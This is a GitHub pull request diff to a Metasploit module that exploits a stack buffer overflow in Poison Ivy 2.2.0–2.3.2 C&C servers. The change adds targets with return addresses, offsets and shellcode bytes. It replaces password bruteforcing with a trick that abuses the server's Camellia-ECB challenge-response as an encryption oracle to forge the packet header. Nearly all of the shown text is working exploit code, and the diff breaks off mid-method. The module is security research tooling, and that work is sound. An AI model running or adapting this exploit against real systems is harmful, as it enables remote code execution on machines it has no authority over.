Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Removed need for bruteforce and added support for target versions 2.2.0 up to 2.3.1 #5943

Merged
merged 1 commit into from
Sep 16, 2015
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
171 changes: 90 additions & 81 deletions modules/exploits/windows/misc/poisonivy_bof.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,39 +9,29 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name' => "Poison Ivy Server Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
The exploit does not need to know the password chosen for the bot/server
communication. If the C&C is configured with the default 'admin' password,
the exploit should work fine. In case of the C&C configured with another
password the exploit can fail. The 'check' command can be used to determine
if the C&C target is using the default 'admin' password.

Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
responsible of handling the connection. Because of this the module provides the
RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header
will be used. If the bruteforce target is selected, a random header will be sent in
case the default for the password 'admin' doesn't work. Bruteforce will stop after
5 tries or a session obtained.
This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrzej Dereszowski', # Vulnerability Discovery
'Gal Badishi', # Exploit and Metasploit module
'juan vazquez' # Testing and little of Metasploit-fu
'juan vazquez', # Testing and little of Metasploit-fu
'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle
],
'References' =>
[
[ 'OSVDB', '83774' ],
[ 'EDB', '19613' ],
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ],
[ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ],
],
'DisclosureDate' => "Jun 24 2012",
'DefaultOptions' =>
Expand All @@ -58,107 +48,126 @@ def initialize(info = {})
'Targets' =>
[
[
'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x806D,
'Offset' => 0x8069,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
}
],

[
'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x8069,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
}
],

[
'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x806D,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
'Bruteforce' =>
{
'Start' => { 'Try' => 1 },
'Stop' => { 'Try' => 6 },
'Step' => 1,
'Delay' => 2
}
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
}
]
],
'DefaultTarget' => 0
'DefaultTarget' => 2
))

register_options(
[
Opt::RPORT(3460),
OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
], self.class)

register_advanced_options(
[
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
], self.class)
[
Opt::RPORT(3460),
], self.class)

end

def check
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
lensig = [0x000015D0].pack("V")
# camellia block size
blockSize = 16
# number of blocks in challenge
blockCount = 16
challenge = ("\x00" * blockSize * blockCount)

indicator = Hash.new
# 0x0000113e as first 4 bytes on PI 2.1.0
indicator[[0x0000113e].pack("V")] = '2.1.0'
# 0x00001212 as first 4 bytes on PI 2.1.1
indicator[[0x00001212].pack("V")] = '2.1.1'
# 0x000013f6 as first 4 bytes on PI 2.1.2
indicator[[0x000013f6].pack("V")] = '2.1.2'

# 0x000013e0 as 4 bytes after challenge on PI 2.2.0
indicator[[0x000013e0].pack("V")] = '2.2.0'
# 0x00001470 as 4 bytes after challenge on PI 2.3.0
indicator[[0x00001470].pack("V")] = '2.3.0'
# 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
indicator[[0x000015D0].pack("V")] = '2.3.1/2.3.2'

connect
sock.put("\x00" * 256)
sock.put(challenge)
response = sock.read(256)
datalen = sock.read(4)
disconnect

if datalen == lensig
if response[0, 16] == sig
vprint_status("Password appears to be \"admin\"")
if response.length == 256
response2 = sock.read(4)
disconnect

# Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
# map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
firstBlock = response[0, 16]
for index in 1..15
if response[index * 16, 16] != firstBlock
print_status("Response doesn't match Poison Ivy Challenge-Response format.")
return Exploit::CheckCode::Safe
end
end

if indicator.key?(response2)
indic = indicator[response2]
print_status("Vulnerable Poison Ivy C&C version #{indic} detected.")
return Exploit::CheckCode::Appears
else
vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
return Exploit::CheckCode::Detected
end
elsif response.length == 4
disconnect
if indicator.key?(response)
indic = indicator[response]
print_status("Poison Ivy C&C version #{indic} detected.")
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end

def single_exploit
if datastore['RANDHEADER'] == true
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
header = rand_text(0x20)
else
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
# We have a very good chance of succeeding even if the password was changed
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
end
do_exploit(header)
end

def brute_exploit(brute_target)
if brute_target['Try'] == 1
print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
# We have a very good chance of succeeding even if the password was changed
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
else
print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
header = rand_text(0x20)
end
do_exploit(header)
vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.")
return Exploit::CheckCode::Safe
end

def do_exploit(header)
def exploit
# Handshake
connect
print_status("Performing handshake...")
sock.put("\x00" * 256)
sock.get_once(-1, 10)

# plaintext header
plaintextHeader = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

# crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
challenge = plaintextHeader + ("\x00" * (256 - 32))
sock.put(challenge)
# response = encrypt(challenge, key)
response = sock.get_once

# since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
encryptedHeader = response[0, 32]

# Don't change the nulls, or it might not work
xploit = ''
xploit << header
xploit << encryptedHeader
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
xploit << payload.encoded
xploit << "\x00" * (target['Offset'] - xploit.length)
Expand Down